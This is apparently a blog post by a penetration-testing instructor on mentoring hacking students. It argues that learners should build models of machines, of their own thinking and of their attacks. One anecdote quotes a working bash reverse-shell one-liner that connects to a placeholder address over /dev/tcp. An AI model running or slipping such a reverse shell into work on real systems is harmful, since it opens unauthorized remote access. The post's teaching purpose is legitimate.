Disclaimer: The ideas below are my own and may not reflect those of my employer.
When I was a student at Offensive Security, I asked a Student Administrator a question. I don't remember what the question was, and I don't remember which machine I was attempting to attack. What I do remember is the SAs response to my question. In Socratic fashion, they answered my query with one of their own:
Why do you think that your beliefs about the machine are the right beliefs to have?
Those words framed the way that I think about learning hacking and penetration testing. I've now worked at OffSec for approximately six years, and have served as a Student Admin myself for half that time. I've helped hundreds (if not thousands) of students develop their owns skills, and have had many conversations with students and colleagues about how to learn information security skills effectively, especially from an attacker's perspective.
During an impromptu chat on discord a few days ago, one student asked how they could help their friends learn without giving away too much information about the target. It dawned on me that while I believe I have a solid model of learning hacking skills in my head, I haven't thought very hard about how to help others teach said skills.
The following are some reflections on how I think about teaching information security. In particular, I am hoping this post will be useful to community members that want to try their hand at mentorship, but who are afraid of "giving away" the secrets of a machine or target too easily. Bear in mind that my experience is weighted rather heavily towards the attacker side of the coin. I'd venture to guess that some of these ideas hold well for defensive learners and mentors, but my credence is only somewhere around 55%. Defensive security is a space I'm actively learning more about myself so I'm excited to solidify that percentage in either direction.
Models of Machines
Hacking exists in the mind, not in the machine.
Or at least, it's a pithy little phrase that will make one sound wiser than one is. In all seriousness though, I believe that in most cases the true work of attacking a computer, a network, or more generally any system comes from understanding the system first. Once you understand it, then you can attack it.
If the student you are attempting to help knows everything there is to know about the system in question, they wouldn't need your help. They would just know the exact sequence of code or commands to type and get a shell.
However, for whatever reason, many students don't seem to view their role as investigators, they see their role as, well, attackers. They aren't approaching their targets with the notepad and pipe of a detective, but rather with the bow and quiver of a hunter.
If your student seems to be too eager to fire off exploits and then gets frustrated when they don't work, help them realize that their attack can only fail if their model of the machine is wrong. By helping a student "take off their hacker hat", you can give them the space they need to step back and assess the situation more clearly.
Five questions to ask for helping to develop models of machines:
- What do you think you know about the machine?
- What do you think the machine is for?
- What machine's users' roles in the organization?
- If you were the system admin of the machine, what would worry you most?
- Does everything running, installed or configured on the target need to be there?
Models of Minds
If a student's job is to build solid models of machines so that they will know where the vulnerabilities are, then a teacher's job might be described as building solid models of their students. If you know what makes your student tick, you'll be much more more successful at communicating in ways that resonate with them.
However, it's one thing for you to understand your student, but it's even more important that the student understands themselves. This is where I will link the unnecessarily cliche but incredibly appropriate Sun Tzu quote. When it comes to learning hacking, knowing oneself can be thought of as half the battle.
To the extent that hacking is really a matter of building accurate models of systems, then helping your student realize that said models exist in their mind is a powerful tool in your teacher-toolbox. If their brain is not synergized with the task they are trying to accomplish, then they will undoubtedly become more frustrated and have a disappointing learning session. You can help your student understand that becoming mindful of how they themselves think through a pentest or attack can improve their effectiveness and their efficiency.
Five questions to ask for helping to develop models of mind:
- Why do you think your beliefs [about the machine] are true?
- What are your blind spots? Where haven't you looked yet?
- How do you think you are thinking about this problem?
- How surprised will you be if the exploit turns out to be X rather than Y?
- When you received XYZ result, what exactly did you feel?
Models of Attacks
Many years ago, my boxing coach would repeat over and over again:
If you miss by an inch, you miss by a mile!
Of course, he'd say this while laughing gleefully as I failed to hit him yet again. He meant this mantra as a reminder that boxing defense is all about efficient movement, and that getting your opponent to miss just a little bit is all the energy you need to invest. The sentiment, however, is equally applicable to an attacker, because the difference in impact between missing by an inch or by a mile is exactly zero.
The same concept can be applied to pentesting and hacking. If you don't have a precise model of the meaning of the syntax you're using for an attack, then you can't tell the difference between forgetting a semicolon versus attacking the wrong service altogether. Consider this code for a simple bash reverse shell:
0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
A student once asked me why their shell wasn't working. They understood that the 10.0.0.1 and 4242 values had to be replaced with their own local IP address and listening port number respectively. However, they didn't understand the apparently mysterious 196 value. They tried 195, 197, 198, etc, but it just wasn't working for them!
When I asked them "Do you know what that 196 number does?" they admitted that they didn't. They went off to go figure out that it represents an arbitrary file descriptor, and that the reason the shell wasn't working couldn't have been due to one value or another. They later realized that the machine they were targeting was unable to execute bash in the first place.
Expecting a student to understand everything about a particular attack may be beyond their current ken, depending on their experience and level. That said, it's important to help foster the mindset that if one doesn't know what an attack is doing at a deep level, one must be consciously uncertain of the potential result.
Five questions to ask for helping to develop models of attacks:
- What exactly does this syntax do?
- Can you break down the attack for me? What is each piece responsible for?
- Can you think of other code, commands or syntax that does the same thing?
- Why did you choose this particular exploit?
- What can you can google to get a better sense of how this might work?
Models of Models
The essential premise here is that teaching someone how to hack is about teaching them to think just as much as it is about demonstrating how code, networks, and configurations work. I'm under no illusions that learning about thinking is sufficient for becoming a pentester; at the end of the day you need to know all sorts of technical information and skills. However, I do think it is an increasingly necessary condition, especially as more and more students are looking to enter the cybersecurity space without having first been a sysadmin, developer, or other IT professional. I believe it's a skillset that many teachers, mentors, and helpers don't tend to focus on enough, and one which yields some (but certainly not all) of the low hanging fruit that can greatly benefit students and learners.
I'll likely have much more to ponder about on these topics and many more relating to how humans do security (or, you know.... don't do security). I consider this blog a learning opportunity for myself, and hope to make many mistakes along the way. If you've read this far, thank you for joining me in my journey! I'd love to hear your thoughts, so please feel free free to reach out on twitter or by email .
